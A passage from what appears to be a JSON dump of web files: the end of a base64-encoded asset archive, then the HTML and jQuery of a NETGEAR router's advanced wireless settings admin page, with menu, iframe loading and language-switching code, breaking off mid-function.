AgAANQYAABEAAAAAAAAAAAAggKSBCzUAAGNzcy9zY3JvbGxiYXIuY3Nz\nUEsBAj8DFAMAAAgA4n6nSJSqFdWsAAAA6wAAABIAAAAAAAAAAAAggKSBgTcAAGNzcy9zdGFuZGFs\nb25lLmNzc1BLAQI/AxQDAAAIAOJ+p0j4iR50OggAAHY6AAANAAAAAAAAAAAAIICkgV04AABjc3Mv\ndGFibGUuY3NzUEsBAj8DFAMAAAgA4n6nSLmcCHNxCAAAhDwAABEAAAAAAAAAAAAggKSBwkAAAGNz\ncy90YWJsZV9ub2guY3NzUEsBAj8DFAMAAAgA4n6nSNoqePHMAwAAoAsAAAwAAAAAAAAAAAAggKSB\nYkkAAGNzcy90YWJzLmNzc1BLAQI/AxQDAAAAAOJ+p0gAAAAAAAAAAAAAAAAEAAAAAAAAAAAAEIDt\nQVhNAABpbWcvUEsBAj8DFAMAAAgA4n6nSGZY1Is5QAIA3VsCABUAAAAAAAAAAAAggKSBek0AAGlt\nZy9BUF9Nb2RlX1I3MDAwLnBuZ1BLAQI/AwoDAAAAAOJ+p0gqkKANOgAAADoAAAAQAAAAAAAAAAAA\nIICkgeaNAgBpbWcvYWRkX2ljb24uZ2lmUEsBAj8DCgMAAAAA4n6nSPQTPBlSAAAAUgAAABIAAAAA\nAAAAAAAggKSBTo4CAGltZy9hcHBseV9pY29uLmdpZlBLAQI/AxQDAAAIAOJ+p0irSGfOtgAAAFYD\nAAAOAAAAAAAAAAAAIICkgdCOAgBpbWcvYmFycm93LmdpZlBLAQI/AxQDAAAIAOJ+p0hzgP4xmgIA\nAMkDAAAOAAAAAAAAAAAAIICkgbKPAgBpbWcvYmFycm93LmpwZ1BLAQI/AxQDAAAIAOJ+p0iCTHKb\nSQIAACsDAAATAAAAAAAAAAAAIICkgXiSAgBpbWcvYmFycm93X2Rvd24uanBnUEsBAj8DFAMAAAgA\n4n6nSKHaRAWxAAAAVwMAACAAAAAAAAAAAAAggKSB8pQCAGltZy9iYXJyb3dfZG93bl9ub2JhY2tn\ncm91bmQuZ2lmUEsBAj8DFAMAAAgA4n6nSIHrk0bEAAAAWQMAABsAAAAAAAAAAAAggKSB4ZUCAGlt\nZy9iYXJyb3dfbm9iYWNrZ3JvdW5kLmdpZlBLAQI/AxQDAAAIAOJ+p0g8eHPZTAUAAAsIAAAfAAAA\nAAAAAAAAIICkgd6WAgBpbWcvYmFzaWMtZ3JheS1idXR0b24tbGFyZ2UuZ2lmUEsBAj8DFAMAAAgA\n4n6nSHWFXC5ODAAAbQwAABsAAAAAAAAAAAAggKSBZ5wCAGltZy9iYXNpYy1wdXJwbGUtYnV0dG9u\nLmdpZlBLAQI/AxQDAAAIAOJ+p0irwQfhQQcAAPMIAAAaAAAAAAAAAAAAIICkge6oAgBpbWcvYmFz\naWMtd2hpdGUtYnV0dG9uLmdpZlBLAQI/AxQDAAAIAOJ+p0jqDNR1owcAAEcKAAAjAAAAAAAAAAAA\nIICkgWewAgBpbWcvYm94LWhlYWRlci1iYWNrZ3JvdW5kLWxhcmdlLmdpZlBLAQI/AxQDAAAIAOJ+\np0gKQ+PRSAAAAC0DAAATAAAAAAAAAAAAIICkgUu4AgBpbWcvY292ZXItaW1hZ2UuZ2lmUEsBAj8D\nCgMAAAAA4n6nSMpWxqw8AAAAPAAAABEAAAAAAAAAAAAggKSBxLgCAGltZy9lZGl0X2ljb24uZ2lm\nUEsBAj8DFAMAAAgA4n6nSNdXkEIoAgAA1gMAABIAAAAAAAAAAAAggKSBL7kCAGltZy9lcnJvci1p\nY29uLmdpZlBLAQI/AwoDAAAAAOJ+p0jezoCkwAAAAMAAAAAlAAAAAAAAAAAAIICkgYe7AgBpbWcv\nZmlybXdhcmUtaGludC1iYWNrZ3JvdW5kLWxvbmcuZ2lmUEsBAj8DFAMAAAgA4n6nSGO676GwAwAA\nDgYAACYAAAAAAAAAAAAggKSBirwCAGltZy9maXJtd2FyZS1oaW50LWJhY2tncm91bmQtc2hvcnQu\nZ2lmUEsFBgAAAAAiACIAsAgAAH7AAgAAAA==\n"
  },
  {
    "path": "sites/netgear/adv-wifi.htm",
    "content": "<!DOCTYPE HTML>\n<html>\n<head>\n<title>NETGEAR Router <%12%></title>\n<script src=\"jquery.js\"></script>\n<script src=\"script/script.js\"></script>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"css/mainpage.css\">\t\n<link rel=\"stylesheet\" type=\"text/css\" href=\"css/tabs.css\">\n<link rel=\"stylesheet\" type=\"text/css\" href=\"css/button.css\">\n<link rel=\"stylesheet\" type=\"text/css\" href=\"css/menu.css\">\n<script type=\"text/javascript\">\nvar gui_lang_local;\nvar load_page = 0;\nvar is_loading_page = 0;\nvar adjustPageHeight = 0;\nvar num_nosubLarge = 0;\nvar num_submenuLarge = 0;\nfunction OnSubmitForm()\n{    //alert(\"1*\");\n\t\tvar text = $('#searchText').val();\n\t\t\n\t\tvar URItext = encodeURIComponent(text);\n\t\t\t\n\t\tURItext =  \"http://support.netgear.com/app/answers/list/kw/\" + URItext;\t\n\t\tdocument.searchform.action = URItext;\n\t\n\t\treturn true;\n    \n}\n$(window).load(function() {\n    //alert(\"1\");\n    var isIE = navigator.userAgent.search(\"MSIE\") > -1; \n    var isFirefox = navigator.userAgent.search(\"Firefox\") > -1;\n    var isOpera = navigator.userAgent.search(\"Opera\") > -1;\n    var isSafari = navigator.userAgent.search(\"Safari\") > -1;\n  \n    var isIE8=navigator.appVersion.indexOf(\"MSIE 8\") > -1;  \n    var form=document.forms[0];\n\tvar lang = form.curlang.value;\n    //notification of R7000 full feature\n    <%270%>\t\t\n\n    <%271%>\t\n\t//When the multilanguage droplsit switched to Japanese and Hungarian disappear. \n    if((isIE && isIE8 && lang == \"Japanese\") || (isIE && isIE8 && lang == \"Hungarian\"))\n\t{\n\t    //alert(\"no change\");\n\t}else\n\t{\n    <%272%>\t\n\t\t//alert(\"change\");\n\t\t$('#lang_menu_li').css(\"float\", \"right\");\n \t    $('#lang_menu_li').css(\"padding-right\", \"25px\");\n        $('#lang_menu_li').css(\"margin-bottom\", \"10px\");\n    <%271%>\t\n\t}\n    <%272%>\t\n\n\n\t\n    if(<%273%>==\"1\" & 0)\n    {\n        if($('#firmware-update').hasClass(\"firmware-update-hint-long\")) {\n            $('#ModuleName').css(\"position\", \"relative\");\n            $('#ModuleName').css(\"right\", \"480px\");\n        } else if(isSafari) {\n            //alert(\"\");\n            $('#ModuleName').css(\"position\", \"relative\");\n            $('#ModuleName').css(\"right\", \"410px\");\n        } else if(isOpera) {\n            //alert(\"\");\n            $('#ModuleName').css(\"position\", \"relative\");\n            $('#ModuleName').css(\"right\", \"0px\");\n        } else if(isIE) {\n            //alert(\"\");\n            $('#ModuleName').css(\"position\", \"relative\");\n            $('#ModuleName').css(\"right\", \"-10px\");\n        } else if($('#firmware-update').hasClass(\"firmware-update-hint-long-long\")) {\n            $('#ModuleName').css(\"position\", \"relative\");\n            $('#ModuleName').css(\"right\", \"530px\");\n        }  else {\n            $('#ModuleName').css(\"position\", \"relative\");\n            $('#ModuleName').css(\"right\", \"410px\");\n        }\n    }\n    else\n    {\n        $('#ModuleName').css(\"position\", \"relative\");\n        $('#ModuleName').css(\"right\", \"0px\");    \n    }\n    \n    change_size();\n    \n    /*\n    if((isIE && ($(\"#firmware-update\").hasClass('firmware-update-hint') \n        || $(\"#firmware-update\").hasClass('firmware-update-hint-long') || $(\"#firmware-update\").hasClass('firmware-update-hint-long-long')))\n        || ((isFirefox || isOpera) && ($(\"#firmware-update\").hasClass('firmware-update-hint-long') || $(\"#firmware-update\").hasClass('firmware-update-hint-long-long'))))\n    { \n//      $('#lang_menu_li').css(\"position\", \"relative\");\n//      $('#lang_menu_li').css(\"top\", \"-24px\");\n    }   \n    */\n\n     if (!chgBrsLang()) /* no page is loadded */\n     {\n         if(1)\n            loadPage(\"WLG_adv_dual_band2.htm\");\n         else\n            loadPage(\"DashBoard.htm\");     \n     }\n     \n     try {\n        document.execCommand(\"BackgroundImageCache\", false, true);  \n     } catch (e){}\n});\n\n$(document).ready(function(){\n//alert(\"2*\");           \n      //$('#lang_menu').removeAttr(\"disabled\");\n\n    adjustPageLayout();\n      \n    <%276%>;\n         \n    liveMenuClick();\n    advanceMenu();\n    $('.subHeader').hide();\n    var pnpx = <%277%>\n    if(pnpx == 1){        \n        $(\"#AdvanceTab\").click();\n        $(\"#basic-pane\").css(\"display\",\"none\");\n        $(\"#adv-pane\").css(\"display\",\"block\");        \n        pnpx = 0;\n      \n    }\n});   \n\nfunction checkMenuDisable()\n{\t//alert(\"2\");\n    var basic_page = document.getElementById('page').contentWindow;\n    var advanced_page = document.getElementById('page2').contentWindow;\n\n\ttry {\n\t\tif(basic_page.document.getElementsByName(\"disable_menu\")[0]) {\n\t\t\tdieMenuClick();\n\t\t\tsetTimeout('checkMenuDisable()',1500); \n\t\t} else if(advanced_page.document.getElementsByName(\"disable_menu\")[0]) {\n\t\t\tdieMenuClick();\n\t\t\tsetTimeout('checkMenuDisable()',1500); \n\t\t} else {\n\t\t\tliveMenuClick();\n\t\t}\n\t}\n    catch (e){\n\t\tliveMenuClick();\n\t}\n}\n\nfunction dieMenuClick()\n{\t//alert(\"3\");\n    $('.noSub').die(\"click\");\n    $('.noSubLarge').die(\"click\");\n    $('.noSubActive').die(\"click\");\n    $('.noSubActiveLarge').die(\"click\");\n    $('.SubMenu').die(\"click\");\n    $('.SubMenuLarge').die(\"click\");\n    $('.SubMenuActive').die(\"click\");\n    $('.SubMenuActiveLarge').die(\"click\");\n\n    $(\"#BasicTab\").die(\"click\");\n    $(\"#AdvanceTab\").die(\"click\");\n    $('.basic-menu-div').die(\"click\");\n    \n    $('.basic-menu-div').live(\"click\", function(ev){ \n        return false;\n    });\n    $('.noSub , .noSubLarge , .noSubActive, .noSubActiveLarge').live(\"click\", function(ev){ \n        return false;\n    }); \n \n    return true;\n}\n\nfunction liveMenuClick()\n{\t//alert(\"4\");\n      var isie = navigator.userAgent.search(\"MSIE\") > -1;\n      var ap_mode_flag = document.getElementsByName(\"enable_apmode\");\n      var sta_mode_flag = document.getElementsByName(\"enable_stamode\");\n      var repeater_flag = document.getElementsByName(\"repeater\");\n      var repeater_an_flag = document.getElementsByName(\"repeater_an\");\n\n    $('.noSub , .noSubLarge , .noSubActive, .noSubActiveLarge').die(\"click\");\n    $('.basic-menu-div').die(\"click\");\n      \n      if(ap_mode_flag[0].value==\"1\" || repeater_flag[0].value==\"1\" || repeater_an_flag[0].value==\"1\")\n      {\n          if($(\"#basic-int\").hasClass(\"basic-menu-div\"))\n          {\n              $(\"#basic-int\").addClass('basic-menu-div-gray');\n              $(\"#basic-int\").removeClass('basic-menu-div');\n          }\n      }  \n\t  if( sta_mode_flag[0].value==\"1\" ){\n\t\t  if($(\"#basic-int\").hasClass(\"basic-menu-div\")){\n              $(\"#basic-int\").addClass('basic-menu-div-gray');\n              $(\"#basic-int\").removeClass('basic-menu-div');\n          }\n\t\t  if($(\"#basic-wls\").hasClass(\"basic-menu-div\")){\n\t\t\t  $(\"#basic-wls\").addClass('basic-menu-div-gray');\n              $(\"#basic-wls\").removeClass('basic-menu-div');\n\t\t  }\n\t\t  if($(\"#basic-par\").hasClass(\"basic-menu-div\")){\n\t\t\t  $(\"#basic-par\").addClass('basic-menu-div-gray');\n              $(\"#basic-par\").removeClass('basic-menu-div');\n\t\t  }\n\t\t  if($(\"#basic-gst\").hasClass(\"basic-menu-div\")){\n\t\t\t  $(\"#basic-gst\").addClass('basic-menu-div-gray');\n              $(\"#basic-gst\").removeClass('basic-menu-div');\n\t\t  }\n\t  }\n      \n      $('#AdvanceTab').live(\"click\", function(ev){         \n          $(\"#first\").hide();  \n          $(\"#second\").show();\n          $('.subHeader').hide(); \n          $(this).css(\"background\",\"url(../img/tab-active.gif) no-repeat 0\");                       \n          $(\"#BasicTab\").css(\"background\",\"url(../img/tab-nonactive.gif) no-repeat 0\");    \n          $('.noSubActive').removeClass('noSubActive');\n          $('.noSubActiveLarge').removeClass('noSubActiveLarge');\n          $('.SubMenuActive').addClass('SubMenu');   \n          $('.SubMenuActive').removeClass('SubMenuActive');\n          $('.SubMenuActiveLarge').addClass('SubMenuLarge');\n          $('.SubMenuActiveLarge').addClass('SubMenu');\n          $('.SubMenuActiveLarge').addClass('Large');\n          $('.SubMenuActiveLarge').removeClass('SubMenuActiveLarge');\n          $('.SubActive').addClass('Sub');\n          $('.SubActive').removeClass('SubActive');\n          if($('#adv-home').hasClass('noSubLarge'))\n            $('#adv-home').addClass('noSubActiveLarge');  \n          else\n            $('#adv-home').addClass('noSubActive');  \n          $('.subHeader:visible').slideUp('fast');  \n          loadPage2(\"ADV_home.htm\");      \n      });\n\n      $('#BasicTab').live(\"click\", function(ev){\n          $(\"#second\").hide();  \n          $(\"#first\").show();\n          $(this).css(\"background\",\"url(../img/tab-active.gif) no-repeat 0\");\n          $(\"#AdvanceTab\").css(\"background\",\"url(../img/tab-nonactive.gif) no-repeat 0\");\n          $('.subHeader').hide();\n          $('.menuActive').removeClass('menuActive');\n          $('#basic-home').addClass('menuActive');\n          loadPage(\"DashBoard.htm\");        \n      });\n      \n      $('.basic-menu-div').live(\"click\", function(ev){  \n         $('.menuActive').removeClass('menuActive');\n         $(this).addClass('menuActive');\n         var path = $(this).children(\"a\").attr(\"href\");      \n         loadPage(path);\n         ev.preventDefault();\n\n      }); \n\t  <%278%>\n\t  $('.basic-menu-eco-div').live(\"click\", function(ev){  \n         $('.menuActive').removeClass('menuActive');\n         $(this).addClass('menuActive');\n         var path = $(this).children(\"a\").attr(\"href\");      \n         loadPage(path);\n         ev.preventDefault();\n\n      });\n\t  <%279%>\n\n         \n      $('.noSub').live(\"click\",function(ev){              \n          $(\"#first\").hide();            \n          if( !$(this).hasClass('noSubGray') & !$(this).hasClass('noSubGrayLarge')){                  \n                $('.noSubActive').removeClass('noSubActive'); \n                $('.noSubActiveLarge').removeClass('noSubActiveLarge');  \n                $('.SubActive').addClass('Sub');\n                $('.SubActive').removeClass('SubActive');\n                $('.SubMenuActive').addClass('SubMenu'); \n                $('.SubMenuActiveLarge').addClass('SubMenuLarge');\n                $('.SubMenuActiveLarge').addClass('SubMenu');\n                $('.SubMenuActiveLarge').addClass('Large');\n                $('.SubMenuActiveLarge').removeClass('SubMenuActiveLarge');\n                $('.SubMenuActive').removeClass('SubMenuActive');\n                if($(this).hasClass('noSubLarge'))\n                    $(this).addClass('noSubActiveLarge'); \n                else\n                    $(this).addClass('noSubActive'); \n                $('.subHeader:visible').slideUp('fast');      \n                var path = $(this).children(\"a\").attr(\"href\");      \n                loadPage2(path);\n                ev.preventDefault();\n          }else{\n               return false;\n          }                               \n      });\n\n      $('.noSubLarge').live(\"click\",function(ev){              \n          $(\"#first\").hide();            \n          if( !$(this).hasClass('noSubGray') & !$(this).hasClass('noSubGrayLarge')){                  \n                $('.noSubActive').removeClass('noSubActive'); \n                $('.noSubActiveLarge').removeClass('noSubActiveLarge');  \n                $('.SubActive').addClass('Sub');\n                $('.SubActive').removeClass('SubActive');\n                $('.SubMenuActive').addClass('SubMenu'); \n                $('.SubMenuActiveLarge').addClass('SubMenuLarge');\n                $('.SubMenuActiveLarge').addClass('SubMenu');\n                $('.SubMenuActiveLarge').addClass('Large');\n                $('.SubMenuActiveLarge').removeClass('SubMenuActiveLarge');\n                $('.SubMenuActive').removeClass('SubMenuActive');\n                if($(this).hasClass('noSubLarge'))\n                    $(this).addClass('noSubActiveLarge'); \n                else\n                    $(this).addClass('noSubActive'); \n                $('.subHeader:visible').slideUp('fast');      \n                var path = $(this).children(\"a\").attr(\"href\");      \n                loadPage2(path);\n                ev.preventDefault();\n          }else{\n               return false;\n          }                               \n      });    \n      \n       $('.noSubGray').live(\"click\",function(){                    \n            return false;\n       });\n       $('.noSubGrayLarge').live(\"click\",function(){                    \n            return false;\n       });\n      \n     $('.basic-menu-div-gray').live(\"click\",function(){           \n         return false;\n     });      \n      \n\n      $('.SubMenu').live(\"click\",function(ev){     \n         $(\"#first\").hide();     \n         if( !$(this).hasClass('SubMenuDisable') && !$(this).hasClass('SubMenuLargeDisable')){  \n            $('.noSubActive').removeClass('noSubActive');\n            $('.noSubActiveLarge').removeClass('noSubActiveLarge');\n            $('.SubMenuActive').addClass('SubMenu');\n            $('.SubMenuActive').removeClass('SubMenuActive');\n            $('.SubMenuActiveLarge').addClass('SubMenuLarge');\n            $('.SubMenuActiveLarge').addClass('SubMenu');\n            $('.SubMenuActiveLarge').addClass('Large');\n            $('.SubMenuActiveLarge').removeClass('SubMenuActiveLarge');\n            if($(this).hasClass('Large'))\n\t           $(this).addClass('SubMenuActiveLarge');\n\t        else\n\t           $(this).addClass('SubMenuActive');\n\t    $(this).removeClass('SubMenu');\n\t    $(this).removeClass('SubMenuLarge');\n            var path = $(this).children(\"a\").attr(\"href\");      \n            loadPage2(path);\n            ev.preventDefault();\n         }else{           \n            return false;\n         }\n      });\n      \n      $('.SubMenuActive').live(\"click\",function(ev){\n         $(\"#first\").hide();\n         var path = $(this).children(\"a\").attr(\"href\");      \n         loadPage2(path);\n         ev.preventDefault();\n      });\n      \n      $('.SubMenuActiveLarge').live(\"click\",function(ev){\n         $(\"#first\").hide();\n         var path = $(this).children(\"a\").attr(\"href\");      \n         loadPage2(path);\n         ev.preventDefault();\n      });\n    \n      \n      \n      $('#go').click(function(ev){     \n        var text = $('#searchText').val();\n        var URItext = encodeURIComponent(text);\n\t\t\n\t\t\n        URItext =  \"http://support.netgear.com/app/answers/list/kw/\" + URItext;\n        window.open(URItext,'_blank','fullscreen=yes,toolbar=yes,locaiton=yes,scrollbars=yes');\n      });\n     \n     $('.SubMenuDisable').live(\"click\",function(){           \n         return false;\n     });\n  \n    $('.SubMenuLargeDisable').live(\"click\",function(){         \n         return false;\n     });\n\n     \n\n\n\n   \n     /*\n     $('.SubMenuDisable').each(function(){\n         if($(this).text().length >= 28){              \n              $(this).addClass('SubMenuDisableLarge');\n              $(this).removeClass('SubMenuDisable');\n         }                     \n     });\n    \n     $('.SubMenuLargeDisable').each(function(){\n         if($(this).text().length < 28){              \n              $(this).addClass('SubMenuDisable');\n              $(this).removeClass('SubMenuLargeDisable');\n         }                     \n     }); \n    */\n       \n\n}\n  \nfunction advanceMenu() { //alert(\"5\");\n    $('.subHeader').hide();\n\n    $('.Sub').click(function() {\n        $('#first').hide();\n        var checkElement = $(this).next();\n        if((checkElement.is('li')) && (checkElement.is(':visible'))) {\n            $('.subHeader:visible').slideUp('fast');\n            $(this).removeClass('SubActive');\n            $(this).addClass('Sub');\n            return false;\n        }\n        if((checkElement.is('li')) && (!checkElement.is(':visible'))) { \n            $('.subHeader:visible').slideUp('fast');\n            checkElement.slideDown('normal');      \n            $('.SubActive').addClass('Sub');\n            $('.SubActive').removeClass('SubActive');\n            $(this).addClass('SubActive');\n            $(this).removeClass('Sub');\n            return false;\n        }\n    });      \n}\n  \nfunction adjustPageLayout()\n{\n\t//alert(\"6\");\n\tvar entry = 0;\n\t\n    $('.subMenu_text').each(function(){\n        if($(this)[0].clientHeight > 16){\n            if($(this)[0].parentNode.parentNode.parentNode.getAttribute('id') == \"adv_settings_header\")\n                num_submenuLarge++;\n            var menuHeight = $($(this)[0].parentNode.parentNode.parentNode).css('height');\n            var menuHeight2 = menuHeight.replace(\"px\", \"\");\n            $($(this)[0].parentNode.parentNode.parentNode).css('height',(parseInt(menuHeight2)+12)+\"px\"); \n            $($(this)[0].parentNode.parentNode).addClass('Large');\n            $($(this)[0].parentNode.parentNode).addClass('SubMenuLarge');\n        }else{\n            $($(this)[0].parentNode.parentNode).removeClass('Large');\n            $($(this)[0].parentNode.parentNode).removeClass('SubMenuLarge');\n        }\n    });\n \n\t\n    $('.subMenu_text').each(function(){\n\t\tif($(this)[0].parentNode.parentNode.parentNode.getAttribute('id') == \"security_settings_header\")\n\t\t\tentry++;\n    });\n\t$('#security_settings_header').css(\"height\", entry*18+20 + \"px\");\n\t\n    $('.nosub_text').each(function(){\n        if($(this)[0].clientHeight > 16){\n            num_nosubLarge++;\n            if($($(this)[0].parentNode.parentNode).hasClass('noSubGray'))\n                $($(this)[0].parentNode.parentNode).addClass('noSubGrayLarge');\n            else\n                $($(this)[0].parentNode.parentNode).addClass('noSubLarge');\n            $($(this)[0].parentNode.parentNode).removeClass('noSub');\n            $($(this)[0].parentNode.parentNode).removeClass('noSubGray');\n        }else{\n            $($(this)[0].parentNode.parentNode).removeClass('noSubLarge');\n            $($(this)[0].parentNode.parentNode).removeClass('noSubGrayLarge');\n        }\n    });       \n    \n    adjustPageHeight = 16 * num_nosubLarge + 15 * num_submenuLarge;\n    /*\n    $('.basic-menu').css(\"height\",adjustPageHeight);\n    $('.advance-menu').css(\"height\",adjustPageHeight);\n    $('#basic-table').css(\"height\",adjustPageHeight);\n    $('#advance-table').css(\"height\",adjustPageHeight);    \n    */\n}\n\nfunction loadPage(path)\n{\t//alert(\"7\");\n         load_page = 1;\n        var page_contain_width = document.body.clientWidth-220 > 735 ? document.body.clientWidth-220 : 735;\n        var page_contain_height = document.documentElement.clientHeight-160 > 470+adjustPageHeight ? document.documentElement.clientHeight-160 : 470+adjustPageHeight;\n        $('.basic-menu').css(\"height\", page_contain_height);\n\n         if(path.search(\"DashBoard.htm\") != -1){\n            var page_width = page_contain_width - 130;\n            var page_height = page_contain_height - 45;         \n         \n         \n            $('#page_contain').width(parseInt(page_contain_width));  \n            $('#page_contain').height(parseInt(page_contain_height));  \n            $('#page_contain').css(\"margin-top\",\"5\");\n            if($.browser.msie){\n               $('#page_contain').html(\"<iframe id=\\\"page\\\" src='' scrolling=\\\"no\\\" style=\\\" background-color:#E5E5E5;width:\"+page_width+\"px;height:\"+page_height+\"px;margin-top:0;margin-left:30px\\\" frameborder=\\\"0\\\" border=\\\"0\\\" cellspacing=\\\"0\\\" onFocus=\\\"this.blur()\\\"></iframe>\");\n            }else{  \n               $('#page').attr(\"scrolling\",\"no\");\n               $('#page').width(parseInt(page_width));\n               $('#page').height(parseInt(page_height));\n               $('#page').css(\"margin-top\",\"0\");\n               $('#page').css(\"margin-left\",\"30\"); \n               \n            }      \n            $('#page').css(\"visibility\",\"hidden\");\n            $('#page_contain').addClass('main-page-contain-loading');\n            $('#page').delay(1000).attr(\"src\",path); \n                  \n            $('#page').load(function(){\t             \n                $('#page').css(\"visibility\",\"visible\");\n                $('#page_contain').removeClass('main-page-contain-loading');    \n               \n            })     \n          \n         }else if(path.search(\"netgear\") != -1){\n            window.open(path,'_blank','fullscreen=yes,toolbar=yes,location=yes,scrollbars=yes');\n         }else{\n            var page_width = page_contain_width - 50;\n            var page_height = page_contain_height - 0;         \n            \n            $('#page_contain').width(parseInt(page_contain_width));  \n            $('#page_contain').height(parseInt(page_contain_height));  \n            $('#page_contain').css(\"margin-top\",\"5\");            \n            if($.browser.msie){\n             $('#page_contain').html(\"<iframe id=\\\"page\\\" src='' scrolling=\\\"no\\\" style=\\\"background-color:#E5E5E5;width:\"+page_width+\"px;height:\"+page_height+\"px;margin-top:0px;margin-left:30px\\\" frameborder=\\\"0\\\" border=\\\"0\\\" cellspacing=\\\"0\\\" onFocus=\\\"this.blur()\\\"></iframe>\");\n            }else{  \n               $('#page').attr(\"scrolling\",\"no\");\n               $('#page').css(\"overflow-x\",\"hidden\");\n               $('#page').css(\"overflow-y\",\"hidden\");\n               $('#page').width(parseInt(page_width));\n               $('#page').height(parseInt(page_height));\n               $('#page').css(\"margin-top\",\"0\");\n               $('#page').css(\"margin-left\",\"30\");                 \n                 \n            }     \n            $('#page').css(\"visibility\",\"hidden\");\n            $('#page_contain').addClass('main-page-contain-loading');             \n            $('#page').attr(\"src\",path); \n            $('#page').load(function() \n            {\t             \n\t             $('#page').css(\"visibility\",\"visible\");\t\n\t             $('#page_contain').removeClass('main-page-contain-loading'); \n                   \n            });  \n                \n         }                      \n         \n         \n         return false;\n}\n\n\nfunction loadPage2(path) {  //alert(\"8\");\n        load_page = 2;\n        while(is_loading_page==1){}\n\t\tis_loading_page=1;\n        var page_contain_width = document.body.clientWidth-220 > 735 ? document.body.clientWidth-220 : 735;\n        var page_contain_height = document.documentElement.clientHeight-160 > 470+adjustPageHeight ? document.documentElement.clientHeight-160 : 470+adjustPageHeight;\n        $('.advance-menu').css(\"height\", page_contain_height);\n\n        if(path.search(\"ADV_home.htm\") != -1){            \n            var page_width = page_contain_width - 130;\n            var page_height = page_contain_height - 45;         \n                 \n            $('#page_contain2').width(parseInt(page_contain_width));  \n            $('#page_contain2').height(parseInt(page_contain_height));  \n            $('#page_contain').css(\"margin-top\",\"5\");\n           if($.browser.msie){\n               $('#page_contain2').html(\"<iframe id=\\\"page2\\\" src='' scrolling=\\\"no\\\" style=\\\"background-color:#E5E5E5;width:\"+page_width+\"px;height:\"+page_height+\"px;margin-top:0;margin-left:30px\\\" frameborder=\\\"0\\\" border=\\\"0\\\" cellspacing=\\\"0\\\" onFocus=\\\"this.blur()\\\"></iframe>\");\n           }else{  \n               $('#page2').attr(\"scrolling\",\"no\");\n               $('#page2').width(parseInt(page_width));\n               $('#page2').height(parseInt(page_height));\n               $('#page2').css(\"margin-top\",\"0\");\n               $('#page2').css(\"margin-left\",\"50\");\n\n\n           }  \n           $('#page2').css(\"visibility\",\"hidden\");             \n           $('#page2').attr(\"src\",path);\n       \n           $('#page2').load(function() \n           {\t             \n\t             $('#page2').css(\"visibility\",\"visible\");\n\t             $('#page_contain2').removeClass('main-page-contain-loading');                                              \n            }); \n        }else if(path.search(\"netgear\") != -1){\n            window.open(path,'_blank','fullscreen=yes,toolbar=yes,location=yes,scrollbars=yes');\n        }else{\n            var page_width = page_contain_width - 50;\n            var page_height = page_contain_height - 0;          \n               \n            $('#page_contain2').width(parseInt(page_contain_width));  \n            $('#page_contain2').height(parseInt(page_contain_height));                                          \n            \n            if($.browser.msie){ //alert(\"8 * \");\n               $('#page_contain2').html(\"<iframe id=\\\"page2\\\" src='' scrolling=\\\"no\\\" style=\\\"background-color:#E5E5E5;width:\"+page_width+\"px;height:\"+page_height+\"px;overflow-x:hidden;margin-top:0px;margin-left:30px\\\" frameborder=\\\"0\\\" border=\\\"0\\\" cellspacing=\\\"0\\\" onFocus=\\\"this.blur()\\\"></iframe>\");\n           }else{  //alert(\"8 ** \");\n               $('#page2').attr(\"scrolling\",\"no\");\n               $('#page2').css(\"overflow-x\",\"hidden\");\n               $('#page2').css(\"overflow-y\",\"hidden\");\n               $('#page2').width(parseInt(page_width));\n               $('#page2').height(parseInt(page_height));\n               $('#page2').css(\"margin-top\",\"0\");\n               $('#page2').css(\"margin-left\",\"30\");  \n           }    \n           $('#page2').css(\"visibility\",\"hidden\");\n           $('#page_contain2').addClass('main-page-contain-loading');\n           $('#page2').attr(\"src\",path);\n           $('#page2').load(function() \n           {\t             \n                $('#page2').css(\"visibility\",\"visible\");\n                $('#page_contain2').removeClass('main-page-contain-loading');                                             \n           }); \n\n           \n        }       \n        is_loading_page=0;\n\t\t\n        return false;\n}\n \n\nfunction setParentalControls()\n{\t//alert(\"9\");\n     var ParentalControls_Result = 0;\n                     \n     var support = 1;\n                                       \n     if(support == 0){\n          $('#PAR_menu').attr(\"href\",\"http://www.netgear.com/lpc\"); \n          $('#PAR_menu2').attr(\"href\",\"http://www.netgear.com/lpc\");                  \n     }else{ \n         if(ParentalControls_Result == 0){\n             $('#PAR_menu').attr(\"href\",\"http://www.netgear.com/lpc\"); \n             $('#PAR_menu2').attr(\"href\",\"http://www.netgear.com/lpc\");  \n         }else{          \n             $('#PAR_menu').attr(\"href\",\"http://netgear.opendns.com/\"); \n             $('#PAR_menu2').attr(\"href\",\"http://www.netgear.com/lpc\");  \n         }\n     }                              \n}\n\n\nfunction ShowLanguageList()\n{\t//alert(\"10\");\n\tvar form=document.forms[0];\n\tvar suportlanguage = form.srptlang.value.split(\" \");\n\tvar gui_region = form.curlang.value;\n        var gui_lang = form.gui_lang.value;\n        var local_srpt = form.local_srptlang.value.split(\" \");\n        var i;\n\tfor(i=0; i < suportlanguage.length; i++)\n\t{\n       \t\tif(suportlanguage[i] == gui_region){\n\t\t\tdocument.write('<option value='+gui_region+' selected >'+local_srpt[i]+'</option>');\n\t\t}else{\n\t\t\tdocument.write('<option value='+suportlanguage[i]+'>'+local_srpt[i]+'</option>');\n                }\n\n                if(suportlanguage[i] == gui_lang){              \n                   gui_lang_local = local_srpt[i];             \n                }\n\t}\n       \n               \n}\n\nfunction resetLanguageList()\n{\t//alert(\"11\");\n    var i;\n    var form=document.forms[0];\n    var suportlanguage = form.srptlang.value.split(\" \");\n    var gui_region = form.curlang.value;\n    var langList = document.getElementById(\"lang_menu\");\n\n\tfor(i=0; i < suportlanguage.length; i++)\n\t{\n        if(suportlanguage[i] == gui_region){       \n\t\t\tlangList.selectedIndex = i;\n            return;\n\t\t}\n\t}   \n}\n\nfunction calculate_string_pixel(str)\n{\t//alert(\"12\");\n    var obj = document.getElementById(\"ruler\");\n    obj.innerHTML = str;\n    return obj.offsetWidth;\n\n}\n\nfunction chgLang()\n{\t//alert(\"13\");\n\tvar form=document.forms[0];\n        var gui_region = form.curlang.value;\n        var choice = form.choicelang.value;\n        var auto_block = form.auto_block.value;      \n        if (choice != gui_region){      \n                ret = confirm(\"<%280%> \"+ gui_lang_local + \"\"+\"<%281%> \"+\"\"+ choice + \"?\");\n                if(ret==1){\n                    if($(\"#BasicTab\").hasClass('current')){\n                        loadPage(\"LANG_check_redirect.htm\");\n                    }else{\n                        loadPage2(\"LANG_check_redirect.htm\");\n                    }\n                }\n                else\n                    resetLanguageList();\n        }\n}\n\nfunction chgBrsLang()\n{ \t//alert(\"14\");\n\tvar 